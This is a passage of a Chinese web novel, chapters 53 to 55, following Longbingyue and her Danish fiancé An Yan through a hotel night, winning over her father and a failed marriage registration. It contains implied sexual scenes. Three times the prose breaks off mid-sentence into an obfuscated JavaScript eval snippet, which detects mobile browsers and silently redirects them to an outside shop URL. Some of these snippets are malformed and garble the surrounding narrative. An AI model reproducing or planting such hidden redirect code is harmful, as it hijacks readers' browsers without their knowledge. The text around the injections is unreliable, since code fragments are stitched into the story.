“……不然还是一起吧。” “那要接吻才行。像从前那样,很多很多的吻。” “……我自己用吧。”安宴不能放弃宝贵的突破点,宁愿答应这离谱要求,不问原因。 龙秉月在赌,在试探底线。他没怎么犹豫就答应,她当然开心,心脏带动着唇部温度上升,没那么冷了。 只是她不理解,接吻到底是多困难的事,他这么抗拒。 不过她也像他一样,借此隐藏起了一个选项。 安宴可以选择不听她的,不用这些东西。但他在接吻和自己消耗之间选择了后者。 没多久,粗重的呼吸声在安静的房间里荡开,钻进羞红的耳朵。 提出怪诞要求的人这时候却不知道该看向哪里是好,思索着要不要避开,反被安宴另一只手固定住脑袋。 他坐在沙发上,她跪坐在地毯上。他控制着她的视线。 “既然你要我这么做。” “那你就好好看着,在见不到你的日子里,我是怎么思念你的。” 53. 第五十三章 不该是这样的……龙秉月有点崩溃地想。 她在车上被爸爸的反对态度气昏了头,便想以“和爸爸看不上的男人共度春宵”气回去。 他肯定特意关照了酒店里的人,到时候他们给他汇报垃圾桶里的丰富物资,让他不得不接受现实。 就算他坚决不接受,也会被气个半死。想想就很爽。 她也想借机看看安宴会纵容她到什么程度,才提出“五”的无理要求——和他拒不接吻的无理程度不相上下,他居然答应了。 安宴的力气集中在一只手上,扣着她后脑勺的手其实很好甩开,或者她简单地闭上眼睛也可以。 可她没有这么做。 龙秉月目不转睛地看着那只美丽又灵活的手,摄影师金贵的手,常常和她十指相扣的手,总能给她带来快乐的手。 她只是看着他而已,时间没过去多久,就完全脱力了,小口小口喘着气。跪坐的姿势已然不足以提供支撑,她快要倒下去了。 念头一旦滋生,就容易被付诸实践。她放任自己躺下去了。 躺在地毯上,自下而上看过去,安宴的下颌更为紧绷,和他的手、他的眼三点一线,她不用移动目光就可以把一切尽收眼底。 龙秉月很满意新的视角。 但是。 再美味的饭菜,吃多了也会觉得腻。再绮丽的风景,看多了也会觉得乏味。 时间和感官一起被放大,似乎过了好久好久,龙秉月开始失去耐心:“怎么还没好?你能不能快点?” 五分之一都还没进行完,进度严重滞后。 安宴一心二用回她:“那是因为你没事做,你找点事做就不会嫌时间慢了,嗯?” “我不做。我就看着。”龙秉月心想,她绝对不要先于安宴屈服。 她又想,是不是可以趁安宴的精力集中在别处,去偷偷强吻他。 行动派又立刻付诸实践。 龙秉月刚一站起来,就被安宴握住手腕:“去哪?不准跑。好好看完,少一分一秒都不行。” “我坐地上腿麻,要坐沙发。” 她顺势跌了几步,失去平衡,扶住安宴的肩,来势汹汹地冲向他的唇。 然后,嘴巴磕上了,他的颧骨。 “啊——嘶——”龙秉月捂着嘴,内心很绝望。 这个男人,不仅心狠,反应速度也相当可怕,躲得可真快啊。 借着这个姿势,安宴暂时把双手都腾出来,环抱着她,两人一起倒在了沙发上。 龙秉月在里侧,被外侧的人紧紧箍在怀里,再也别想捣乱,也休想逃开。 在她彻底丧失时间观念后,安宴终于如她所愿,将进度条拉到了五分之一。 他从侧面抱住她,差点遵从本心吻上她柔软的红唇,又及时偏过头,吝啬地只把亲吻给了脸颊。 休息时间,龙秉月却感到,安宴抱着她的手越来越紧,随后放开她,改去抓着抱枕。 指尖深深陷在里面,像在极力忍耐什么。 片刻后,他起身走向浴室:“剩下的我自己来吧。你今天累了就先休息,不用等我。” 有她在固然很好,但是再这样下去,他不敢保证自己不会失控。 淋浴的水声很快传出来,龙秉月仍然躺在沙发上,拿来安宴先前抓的抱枕,抱在胸前。 她咬住抱枕的边缘,静静思考着,纠结着。 他明明可以拒绝她的要求,却因为她的眼泪而心软,不问缘由地执行。 她抛下他离开丹麦,他也不怨她,甚至未雨绸缪,提前找好了中国的工作。 他逼她做出选择是很坏,让全家人装无知也挺过分,可是平心而论,就结果而言,如果他没这么做,她在爱情中或许早就被自己的情绪打败了。 ——因为被他家人知道恋情而羞愧难当。因为要面临异国而自我厌弃、自我折磨。 他帮她保密,他不拆穿她,他主动当坏人,让她心安理得地做自己,顺从自己的心意。 他是最了解她的,在她自己都没明白的时候,悄悄为她竖起了坚实的后盾。 龙秉月觉得再计较任何事情都很没有意思,都是对感情和人生的浪费。 他们应当还有大把大把的时间,但每一秒钟都是平等的,平等地不该被虚度。 浴室水声停下的那一刻,她走了进去。 水声又响起。 …… 月亮落下,太阳升起。 龙秉月累得一句话都说不出来,唯一有力气做的事情是呼吸。 在睡眠彻底俘获她之前,她对这个房间最后的印象是,窗帘竟然不是严丝合缝的,边缘微微透出了一丝光。她要用这件事嘲讽一下酒店老板。 以及半睡半醒之间,耳边温热的气音:“主人,我超额完成你布置的任务了,还满意吗?” - 睡醒的时候,龙秉月以为自己还在梦里。 很简单,这窗帘怎么变了,一丁点光都没漏进来? 再者,她摸了摸身边,没有人。 而安宴从来不会在第二天自己先起床,总是一直陪睡到她也醒来,第一时间递上早安吻。 所以她一定还在梦里。 即便是在梦里,从梦中梦醒过来,她的第一反应也是看手机,看时间。 ——诶,手机怎么解锁不了,这破梦。 龙秉月生气地把手机扔到了地上,“咣当”一声,紧接着是她吃痛的叫声。 扔手机稍稍使了力,胳膊竟然痛得不像是自己的了。 意识随着痛感清醒过来,她浑身上下都弥漫着前所未有的酸痛……喔,这么多次之后,她总算体验到了小说里写的初夜后的感觉。 所以小说并非瞎写,只是有些男主角一开始水平有限,青涩又莽撞。 安宴也并不是永远温柔,永远都能很好地控制自己的力道。 等等,既然现在不是在梦里,安宴去哪了? 龙秉月在黑暗中摸索着床头的开关,随便按了一个,不料按到的是房间灯光的总控,一下子所有灯都亮了。 她眯着眼睛又去捣鼓开关,只保留小灯。然后拖着疲惫的身躯,下床捡手机。 手机电池该换了,虽然昨晚电量只剩一半,但一觉过后它就没电自动关机,也太差劲了。 龙秉月给手机充上电,开机,霎时间“啊”出声。 先是因为时间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14184001|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚上九点?!人怎么会这么能睡,疲劳彻底击垮了生物钟。 再是因为几十个未接来电,都来自同一个人——她亲爹。 好家伙,她错怪电池了,电量是被不断的来电搞没的。 龙秉月忽视这些未接来电,顺便把一直“骚扰”她的号码拉黑,然后打给安宴。 万幸,对面很快接通:“醒了?早安。” 早什么早,罪魁祸首装得淡定。龙秉月愤怒低语,说出来的话却震惊自己:“老公,你去哪了?” 可恶……昨晚从第一次到最后一次,安宴都一直非要她喊老公,还没名副其实,但一定要先过过耳朵瘾。 她对他的爱正处于峰值,上到了新的高度,自然乐意配合。喊的次数多了,今天醒来就这么顺口叫了出来。 语气偏偏还特别娇媚,和昨晚简直一模一样。唯一不同的是,此刻她声音沙哑。 听到这句话,安宴在电话里笑得特别开心:“乖,我马上回来,三分钟。” 挂断电话,他对旁边的人说:“我回去陪老婆了,龙总。” - 安宴回到房间的时候,龙秉月躺在被窝里,手机放在枕边充电。 见到他,她的第一句话是问:“今天客房服务是什么时候来的?” 他一点不吃惊,下午已经明白她为什么在意这个,昨晚又为什么提出那样的要求。 “没来。”他简单回答。也不是完全没来,但可以算作没来。 “客房服务没来,那为什么……”这里一切都那么干净,像打扫过一样,垃圾桶里的作案工具也都被清理掉了。 安宴没等她问完,抢先反问道:“你不问问我刚才去哪了吗?” “……你去哪了?”龙秉月遂了他的意。他丢下她一个人的原因,确实也很重要。 “酒店会议室。” ?! 龙秉月心中顿时有了不好的猜想,不顾嗓子沙哑,焦急地抬高了声音:“他没为难你吧?你应该叫醒我的……下一次再有这种事一定要叫醒我啊……” 安宴坐上床,把她搂进怀里,安抚道:“别担心,一切都很顺利。” “别骗我,善意的谎言也不要。” “没骗你,真的。你的计谋起效了。当然,关键是你也有参与其中。” “什么意思?”龙秉月听得一头雾水,什么她的计谋,她参与什么了。 安宴先挑不重要的说:“下午三四点钟,跨年一起吃饭那个男的来了。” “李朝?他来干什么?” “我猜是当你爸的狗腿子,但他太弱了,发现我会中文就吓呆了。我说我为了你专门学的中文,他直接败下阵来,战斗力几乎为零。” 安宴不屑地冷笑一声,“就这还想追你,做什么梦。” 话里信息量不小,但龙秉月一下子抓住重点:“为我学的?” 安宴点点头,一副理所当然的样子:“出门在外,人设是自己给的。” “重点是,”他忽然笑了出来,“他把你爸爸叫过来支援的时候,客房服务员恰好经过,特别热情地问我需不需要打扫。” 然后他把垃圾桶拎到门口,说只需要扔垃圾。 54. 第五十四章 龙秉月要求得太多,安宴又不可能草草应付了事,两个人一直闹到天亮。 丹麦时间刚过午夜,安宴从东一区来到东八区半天,没工夫倒时差。习惯了熬夜的人,在这个时候最精神。 精神满足,精神亢奋,精神得如同打了鸡血一般。 他把熟睡的龙秉月抱在怀里,爱不释手,亲了又亲。 不亲嘴,别的地方都亲遍,反而加重了接吻的欲望。好想,好想……她什么时候才答应他的求婚呢。 “以后只亲老婆”的flag,对双方都是折磨。 安宴闭上眼睛凑近龙秉月,眼皮轻轻贴着她的下唇,以这般姿势进入甜蜜梦乡。 睡前,他没忘记按下房间“请勿打扰”的开关。 客房服务的确不会前来打扰他们,但某部不长眼的手机响个不停,偏偏手机的主人睡得比勿扰模式下不会响的门铃还要沉,早晨感受不到他的亲吻,中午听不到迷惑的来电铃声—— “如果男人/总是等到夜深/无悔付出青春/她就会对你真” 龙秉月之前用的是手机自带的铃声,现在换成这个,一听就没安好心。 感觉被内涵的安宴起身下床,绕到另一边的床头柜,铃声刚好停下,屏幕还亮着。 【未接来电(6)】 点开折叠的通知,发现都是只有号码没有姓名备注的陌生来电,来自同一个号码。 原来他也有好几遍没听到,双人有氧运动果然助眠效果超群。 调到静音后,他略一思索,又把手机屏幕朝下扣在床头柜。只关声音不行,亮起的屏幕同样可能叫醒对光亮敏感的龙秉月。 安宴不知道这通电话一直打到她的手机没电关机,所以他后来才会被房间的敲门声再次吵醒。 不长眼的“叩叩”声不间断地顺着耳朵传进安宴的大脑,撞开了起床气的阀门。 不会是客房服务,那就是住在同一层的客人了。他们剧组五个人分散在三个楼层,和他同层的只有导演雅克。 拜托,工作狂雅克,现在还是休假时间,周一下午才正式开始工作! 还是说雅克想出门游玩,需要他来充当中文翻译? 不管是哪种,迎接雅克的都只可能是安宴的坏脸色和闭门羹。 安宴臭着脸走到门口,先从猫眼往外瞧了一眼——不是雅克。 是他更不想见到的人,阴魂不散的李朝。 打发走他,安宴又迎来一尊大佛——龙秉月的爸爸,他未来的老丈人,龙永明。 然后是路过的客房服务员。 “您好,房间需要打扫吗?” “嗯……倒下垃圾就好。”安宴稍作停顿后补充道,“稍等,不太方便进,我去拿过来。” 其实用不着垃圾桶作证,这个房间昨夜发生了什么,通过安宴的状态一看便知。 龙永明没做好心理准备,骤然面对横尸的一个个透明小袋,脸色瞬间变得比纯黑色垃圾桶还要黑。 饶是打扫经验再丰富的清洁人员,对着它也顿了一下。啧,真是没眼看。不过这位客人过于淡定,在两个外人面前也波澜不惊。 他飞速打扫完毕,远离即将爆发的修罗场。 龙永明对李朝说:“你先回去吧,别耽误你要紧事。” 星期六下午能有什么要紧事,除了眼前的事。他这是在打发他走,连借口都敷衍。 “我可以等……” 李朝的话被说完,就被龙永明打断:“行了。”不再给他接话的机会。 安宴早就关上了房门,站在走廊里,避免外面的动静影响龙秉月休息。 他穿着睡衣,表情淡淡的,没把面前的两个人放在眼里。气势丝毫不输叱咤商界的龙永明,甚至在身高的加持下更胜一筹。 - “客房服务员离开了,接着李朝离开了,然后我就跟你爸爸去会议室了。”安宴对龙秉月说。 “然后呢?”龙秉月坐直了,焦急地问。 “然后你爸爸认可了我的女婿身份。” 安宴说得云淡风轻,龙秉月脑子有点转不动。怎么这就“女婿”了?明明昨晚还在逼她分手。 她不敢相信地把爸爸从黑名单放出来,当着安宴的面回电。 “谈了这么优秀的男朋友,怎么不早点告诉家里?”对面上来就说。 龙秉月“啪”一下把电话挂了。好可怕,她是不是穿越到父慈女孝的平行世界了。 “你究竟怎么清除他这个阻碍的?” “很简单,利用他的慕强心理。他想掌控你的人生,无非是觉得你比他弱小,现在出现了比他更强的我,他只好屈服了。” 安宴接着道,“至于怎么让我显得强,还是那句话,人设是自己给的。” 于是他自称是欧洲贵族,毕竟Andersen在丹麦是个大姓,证伪比证实更难。有钱,有名,有地位,有能力,还有中国血统,一下子把所有潜在的结婚对象都比下去了。 再加上身材高大威猛,看上去像是能一下子把龙永明撂倒在地。 龙秉月将信将疑:“你真是贵族?” 以前没觉得,他说他假装,她反倒开始怀疑是真的了。 安宴无奈:“当然不是,你跟我同居一年了还不知道?我家房子只是在哥本哈根中产社区而已,可没有什么城堡之类的。” “哦……好吧。”龙秉月撇撇嘴。 “怎么你看起来有点失望?” “因为我是贵族啊,你不知道吧,龙姓可是尊贵之姓。”龙秉月得意地说,“所以你算是入赘,以后都要听我的。” “入赘?”安宴皱了皱眉,“我彩礼都给了你跟我说这个。” “彩礼?!什么彩礼?” 本地人不讲究彩礼,龙秉月作为新时代女性更不在意这东西。就算收彩礼,也是男方父母给女方的,怎么变成男方给女方父亲了? 她几乎可以确定,龙永明只是发挥商人的奸诈本色,突袭不了解中国各地彩礼习俗的丹麦人。 相比她的反应,安宴格外淡定:“他让我订下了1102江景套房一年。” “不是……那就是我的房间啊,凭什么还要你花钱?” 她的生日1102,那是她在这家酒店的长包房,虽然她总共也没住过多少天。 L酒店的同房型在官方预定渠道的价格是4000+人民币一晚,一年就是一百多万……安宴竟然说给就直接给了。 安宴猜到她的想法,安抚道:“这没什么,还没投资一部电影花的钱多。” “但你投资电影可以回本啊……”话说到一半,龙秉月突然意识到,对啊,投资给她怎么就不能回本了呢!投资回报率绝对超过100%! 她自洽了,安宴便只说:“在这件事上,你只需要搞定你自己的心,其余一切都可以交给我。无论是家庭阻力,还是别的什么。” 以及,“现在钱都花了,我们搬去1102?” 龙秉月还在消化。再进一步想,这不就相当于爹在卖女儿吗? 联想到前面的对话,她冷哼一声:“呵呵,慕强?说得好听,他就是坑你钱的奸商罢了。” 安宴笑了:“不仅仅因为这个,他肯定也慕我的……精力。” “那不就是你想让他发现的吗?只不过他亲眼见到了,比从手下人那里得知更震撼。” 顺着他的目光,龙秉月看到了……垃圾桶。干干净净的,却好像沾着不忍直视的东西。 “对了,我刚才就觉得奇怪,既然只清理了垃圾桶,为什么整个房间都这么整洁?” “这里是隔壁房间,我抱你过来的。你睡太熟了,一点知觉都没,我还专门探了探你的呼吸才放心。” 从日出睡到日落之后,睡了超过十二小时。 龙秉月瞪了一眼身边的元凶:“怪谁?” 他却有理有据:“数量不是你要求的吗?后来也是你主动加入的。” “可你实在太……比以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199647|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前……” 她不用把话说全,他自然明白意思。太慢了,太久了,平均时长大大超出过往水平,才憋了半个月就这么不容小觑。 “还不是因为你总想着偷吻我。每次加载到90%你就要来一下,我为了躲你只好暂停了,冷却了,退回50%了。” 安宴解释起来,语气稀松平常,解说生动形象。 沉默是此时的龙秉月。 原来都是她自作自受……她以为情到浓时安宴会放松警惕,或者不执着于拒绝接吻,所以才选择在最后冲刺时偷袭。 结果不仅吻没接到,还害得自己承受了更多更多。最后累得不知自己身在何处,也不会数数了。 - 两人最终在当晚搬到了1102套房。 用龙秉月的话说是,既然钱给了,必须能住则住。当然,这钱她一定会要回来的。要不回来,偷也得偷回来。 用安宴的话说是,中方制片公司给订的是普通大床房,虽然是五星级酒店,但也只有40平,主要设施只有床、书桌、小沙发和浴缸,根本不够发挥。 “其实搬到你家也行。”安宴的接受度很高。 龙秉月绝不同意:“跟我父母在同一屋檐下,更难发挥。” “怎么会,你在我家不也发挥得好好的?”屋里只有两个人,但安宴特意凑到她耳边说话,将暧昧氛围渲染到极致,“想睡你的床。” 龙秉月无情地推开他:“那你可想吧。” 房间号因她的生日而改成了1102,但其实位于31层,透过窗户可以近距离欣赏到东方明珠,它背后的浦江和浦江后的外滩万国建筑。 在和父母亲密无间的青少年时期,她其实没少来住,尤其是节假日。 那些年,外滩跨年还有4D灯光秀和烟火表演,这里是最舒服的观赏地点。不拥挤,无人打扰,大面落地窗就像是屏幕。 成年后大多数时间都在异乡,几乎没再进过这间她的套房。因为她离得远了,爸爸的控制欲也越来越强,不把她当成大人。 发展到今日,她处处提防。 并且要一而再再而三地提醒男朋友:“不管我爸说什么,你都不用听。” 毕竟很多事他可能没告诉她,或者只告诉她好的一面。 “他关心你的话我也不听吗?”安宴问。 “怎么关心了?”龙秉月心想,估计又是借关心的名义控制。 “他让我节制一点。” “……” 昨晚冲动行事要刺激爸爸,现在大获成功,谈论起来又尴尬得要在旁边抠出一幢新的摩天大楼了。 不过她坚持自己的观点:“也可以不听。” 反正根本节制不了。 “哦?是谁说未来一星期都不要了。” “我只是身体累,嘴又不累,谁让你不和我接吻。”龙秉月不放过任何一个怪罪安宴的机会。 她单纯表达对接吻的渴望,不料安宴直接把两根手指戳进她嘴里:“好意我心领了,但是暂时不用,那又不是只费嘴。你实在想吃,先吃平替得了。” 龙秉月含着手指,说不出话来。 她的舌头被他的手指灵活搅弄着。她对它们的灵巧早就深有体会,但也没想到仅凭两根指头,就能模拟出亲吻的感觉。 实在是太久没有接吻了,连这样都好满足。 后来龙秉月也像昨晚安宴那样,细致地帮他擦手,一点点擦掉她的口水。 俯身在恋人面前,手里握着他的手,这般场景带来强烈的既视感。 她状似随意开口问道:“对了,你们是从周一下午的动员会议才开始工作吗?那上午是不是有空?” 安宴答:“有空。怎么了,要带我去什么地方吗?” “嗯,我想和你去领个证。” “什么证?”安宴没细想,下意识脱口而出。 反射弧迅速归位,但仍不及龙秉月的回话速度—— “结婚证。” 55. 第五十五章 幸福来得太突然。 然而,跨国婚姻不是说登记就能登记的,龙秉月又想一出是一出了。 安宴打趣道:“我好像说过,求婚有效期是到离开戛纳前?” “我没说我是在回答你呀。我向你求婚不行吗?”龙秉月抬手固定住安宴的下巴,和他对视,“说吧,答不答应?” 颇有一副你敢不答应你就完了的架势。 “一天没吃饭了,你不饿吗?” 安宴转移话题,龙秉月的肚子配合地“咕”叫了一声,但她坚定道:“你不答应我就要绝食抗议了!” 偏要恃宠而骄,偏要无理取闹。 “嗯,去点餐吧。”意思是他答应她,所以她不用绝食抗议。 “等等等等!”龙秉月拦住安宴的动作,“那,现在新郎新娘可以接吻了吗?” 说着,她就踮起脚尖,要倾身上去吻他的唇。 安宴一手挡住她:“不可以,女士。贷款都要审核申请人信用的,您现在信用为0。” 很难不怀疑她只是想接吻,吻完了又改变主意,到时候他能拿她怎么办?没办法。所以要趁现在能拿捏的时候拿捏。 “哼!”龙秉月气愤地咬了一口安宴的掌心。 真的饿了。 - 星期一上午,龙秉月和安宴来到民政局。 她前天晚上“求婚”后,才上网查了一下涉外婚姻登记需要的材料。 外籍人员要准备单身证明的翻译公证件和含有效中国签证的护照,中国公民得带上身份证和户口本。 显然,他们只有护照和身份证,材料齐全率不足50%。 她当然也知道结婚登记需要提前预约,而他们是直接来的,什么都没做。 仿佛刚进入新的冒险世界,来这里找NPC领任务,并过一遍新手指南。 民政局NPC看他们像看与世隔绝的原始人:没见过什么都不准备,也不预约,直接过来要登记结婚的! 然后好心给了原始人一个介绍政策的小册子,嘱咐他们备齐材料后,预约了再来。 在民政局门口,龙秉月装出傻白甜的模样,撅嘴抱怨道:“结个婚怎么这么麻烦啊。” 安宴配合她的表演:“是啊,怎么办,要回丹麦开单身证明的话,又得等几个月了。” “几个月?!不愧是丹麦……” 龙秉月以为丹麦的行政效率已经低到如此令人发指的地步了。 不过倒也不意外,想当初她的居留卡,竟然在第一学期快结束的时候才办下来,这还是她时不时打电话催的结果。 真是令人叫绝的松弛感啊。 “我是说,得等几个月后电影杀青才能回去办。单身证明不会开得那么慢的。”安宴闲闲补充道。 “哦……”龙秉月猛然意识到什么,“不对,你好像很清楚流程?那你为什么不提醒我,就跟着我来民政局了?” “看看你是不是真心要结婚,会不会打退堂鼓,是不是又在玩新的把戏。” “大骗子。”龙秉月瞟了安宴一眼,其实有点心虚。 安宴也没惯着她:“小骗子,我看你根本就知道今天登记不了。” “我也想看你是不是真心嘛……” “我都来你的国家了,你说我是不是真心?” “那你快回去开单身证明,趁项目初期还没开始拍摄。”龙秉月摇着安宴的胳膊,朝他抛出可怜兮兮的眼神。 可惜她碰上了个硬茬。 “这么等不及啊。”安宴回给她一个贱贱的笑容,戛纳的时候他着急,现在风水轮流转了,“等着吧。” 比起早点尘埃落定,如今他更想确认她真的考虑清楚了。 这半个月两人过得都不是滋味,重逢后产生冲动不足为奇,但他不希望她后悔。 - 离开民政局时间尚早,龙秉月便带安宴去了一家本帮菜小馆子。 它开在居民楼下,只有几张桌子,去晚了就得排队。十分家常,也十分美味。 前两天的餐饭都在酒店解决,不是点酒店的餐就是叫外卖。现在坐在小小的店里和另外两人拼桌,才终于感受到生活气息。 为了这“生活气息”,饭后又去社区咖啡店喝咖啡,然后搭地铁回到东边,上班。 生活气息秒被班味儿覆盖。 龙秉月因为周五接机得到了一天的调休假,才隔了一个周末就请假半天,某种程度上算是自产自销——因为接谁才有的调休,就因为谁休了。 偏偏她还要跟这个谁一起去公司,开同一个会议。 “Hello!” 电梯先到达龙秉月工位所在的楼层,门外是准备乘电梯上楼的蒋天然,她朝着里面的人打招呼,并侧身让出通道。 龙秉月自然以为这招呼是对她打的,正准备回话的时候,余光瞟到安宴在对蒋天然点头致意。 什么情况?他们不该是第一次见吗?上周五蒋天然还说没拿到即将抵达的第五人资料…… 对,就是这个! 她太天真也太大意,再怎么临时,公司都不至于没有外方剧组人员的资料。对她说不知道第五人是谁,只有一种可能,那就是故意瞒着她,等她大吃一惊。 至于他们怎么联系上的,可能是通过前期的线上邮件往来,也可能是……不,不是可能,按照安宴的性子,一定早在戛纳的时候就预备好了对策。 他在她身边安插了眼线,难怪冷战十几天也能那么淡定。 龙秉月出了电梯,又回头,在电梯门缓缓关闭的时候,对里面的两个人狠狠地比了两个中指。 而安宴笑着,回了她一个飞吻。 好吧,她本来也没有真生气,现在更是气不起来了。 在工位上整理会议所需资料的时候,龙秉月又想到,昨天安宴去帮她搬行李到酒店套房,在她暂时借住的闺蜜家。 闺蜜邬昀是“劝分组组员”,之前大骂安宴冷暴力,猜测他不理她一定是因为他想分手,又想让她先提。 结果呢,见到安宴没多久,她就倒戈了。 安宴进门的时候她翻白眼,两人收拾好行李离开的时候,她改口说:“神仙爱情,嗑死我了。” 此时,上周五还没影的外方人员资料,完完整整出现在组内共享云盘里,文档创建时间甚至早于上周五,仿佛在大大方方说:“嘿嘿,你快发现呀!我们到处都露了马脚。” 龙秉月扶额。 她男朋友,哦不现在是真的未婚夫了,好像是个万人迷。 ——搞定她难搞的爹,收买她的上司,还被她的朋友们大夸特夸。 她当然理解,毕竟她那么爱他。 就像以前她不喜欢为了所谓惊喜而进行的隐瞒,如今渐渐也习惯了。爱情是一场冒险,完完全全按部就班得不到最高奖赏。 - 然而工作依旧按部就班地进行着。 这样最好。 不要出岔子,早点顺利开机,再顺利杀青,安宴好早点回丹麦开单身证明。 电影预计在七月初开机。 六月中下旬,上海进入梅雨季节,连绵的雨水覆盖了整座城市。 伴随着梅雨一道来临的,是安宴的二十七岁生日。可惜那天是个星期二,又临近开机时间,大概率忙得抽不出空。 龙秉月打算前一个星期六为他庆祝。刚好,那天还是他们相遇一周年的日子。 她在雨季来临前就开始计划,另辟蹊径安排了一条上海电影取景地和地标电影院citywalk路线: 先去苏州河乘坐游船,从昌化路码头到外滩源,一路经过四行仓库等地; 再沿着外滩走到和平饭店,右转沿着南京东路走到近百年历史的大光明电影院,它旁边就是黄河路; 接着往新天地和淮海路方向走…… 可是天公不作美,梅雨雨势日渐猛烈,获称“暴力梅”。 星期六那天,气象台发布了暴雨蓝色预警、雷电黄色预警和大风蓝色预警,建议市民尽量减少外出。 他们住得高,看得清。外面狂风大作,电闪雷鸣,平日满是游客的天桥如今空空荡荡,唯有不间断的雨水到访。 “你想过一个狼狈得终生难忘的生日吗?”龙秉月征求安宴的意见。 待在室内或许会有遗憾,但闯进大风大雨可能要崩溃,再把负面心情加诸彼此——都怪你,我们才会成为惨兮兮的落汤鸡。 万一淋出病来就更不好了。 “我选择快乐得终生难忘的生日。”安宴回答。 “怎么个快乐法?”龙秉月环视房间一圈,也想不出来能做什么有意思的事情。 他们的行李很少,几乎都是生活必需品。酒店本身的娱乐项目也就那些。 不管做什么,平日里都可以做,难以在特别的日子留下特别的纪念。 安宴没怎么思考,当即提议:“我们玩游戏吧。” “什么游戏?” “复刻去年今日。从起床到入睡。可以吗?” 去年今日……对龙秉月来说,实在不是个好日子。 因为光照而被迫早醒,吃便利店的剩食,自行车被偷,兼职排满课累得要命,艰难讨回欠薪…… 她不想回忆,偏偏记忆无比清晰。 就是在那样泥泞的生活里,她遇见了安宴,人生轨迹开始改变。 他不是她的救世主,如果非要说的话,他大概是她的幸运星。她一直都很努力,而与他相识是转运的节点。 不仅如此,与他相识本身就是转运。 “可以。”龙秉月点点头。 如今苦尽甘来,重现当日生活比预想中轻松很多。她当作乐子一般,十倍速展演完了那天遇见安宴之前的生活。 轮到安宴,他打开电视:“我看了一下午电视,然后被伊莎贝拉拽去听课。” 但他们不可能真的在这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14235303|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看很久电视,于是直接跳到相遇,到第一次对话。 龙秉月坐在套房客厅的书桌后面,安宴从沙发上起身,走到她面前,问她:“龙老师,接私活吗?” “什么私活?” “先自我介绍一下,我是……” 安宴递出一张名片,仍是一年前的极简风格,两行字。 第一行是姓名:JensAndersen 第二行是身份:LongBingyue''spartner 龙秉月喜欢这个单词,既是伴侣,又是合伙人,人生的合伙人。 她把名片翻过来,背面印着: LongBingyue JensAndersen''smaster 主人? “什么意思?”龙秉月问。 “我们是一体两面的。” 问的是一个词,答的却关于名片设计。她继续问下去。 “那么,是什么私活呢?” “复刻到入睡之后。” 安宴这次不再是询问的语气,说完,就拿出手机,拉到短信对话的最上面——龙秉月最初发来的“拒信”。 对龙秉月来说,这不是不好的回忆,也不是好的回忆,是尴尬的回忆。 她被安宴从身后拉进怀里搂着,肩膀承受着他下巴的重量,眼前是他举过来的手机。 (去年6月22日) 龙秉月:【那就好!本来我拒绝还有点不好意思的,现在知道你愉快我就放心了(emoji笑)】 安宴:【你不好奇我为什么愉快吗?】 安宴:【人呢?】 安宴:【唉,好像没那么愉快了。】 “然后呢,你怎么不回我了?” 龙秉月毫不设防:“我发着短信睡着了嘛,一个梦都没做,醒来还以为才过去半小时,一看是八小时吓一跳。” “哦~这样啊。”安宴演技逼真,说得像是才刚刚知道一样,“我那天夜里做梦了,重现我的梦吧。” “你的梦是什……”还没问完,龙秉月就想起来了。 就算没想起来,安宴已然开始的动作也能让她迅速知晓答案。 他面对面抱起了她,走向落地窗旁边。然后转身,让她面朝窗外。 外面大雨滂沱,整座城市都浸在水里。这面窗朝北,正好能欣赏到酒店北方的东方明珠。 方才打开的电视没有关,这会儿在播报天气。 气象员介绍,降水要满足三个条件:充足的水汽;动力抬升条件;空气中大量凝结核。 今年梅雨来得格外猛烈,形成“暴力梅”,原因之一是动力条件好,冷空气从北方南下,撞上南方强盛的暖湿气流。 南北不断对撞,雨也越下越大,完全没有停下的趋势。暴雨蓝色预警,提升到了黄色预警。 在激荡的雨声下,电视机的声音在龙秉月耳边渐渐模糊,而她闭不上眼,仍能从安宴的肩头望到东方明珠。 这是今年目前为止,上海最大的一场雨。总降水时间长,有短时强降水,并伴有雷电和大风。 常年屹立在浦江东岸的这座庞然大物,终于洗了个酣畅淋漓的澡。 人们盼望雨快点停,好到室外citywalk,而它淋雨淋爽了,祈求每天都得到如此洗礼。 龙秉月伸手摸了摸玻璃,好像有点温热。没错,大夏天,它洗的的确是热水澡。 但她就不一样了,屋里冷气开得足,吹到她汗涔涔的身子上,冻得一激灵。热的热,冷的冷。 安宴见状,自愿当她的电热毯,从背后传递热量。 感受到后背落下一个吻,龙秉月淡淡抱怨:“人的背上为什么不能长嘴呢?” 说话力气不足,好似自言自语。 安宴依然擅长灵活闪避,躲着不跟她接吻,以至于她想接吻把自己都想成鬼片里的角色了,背上长着嘴。 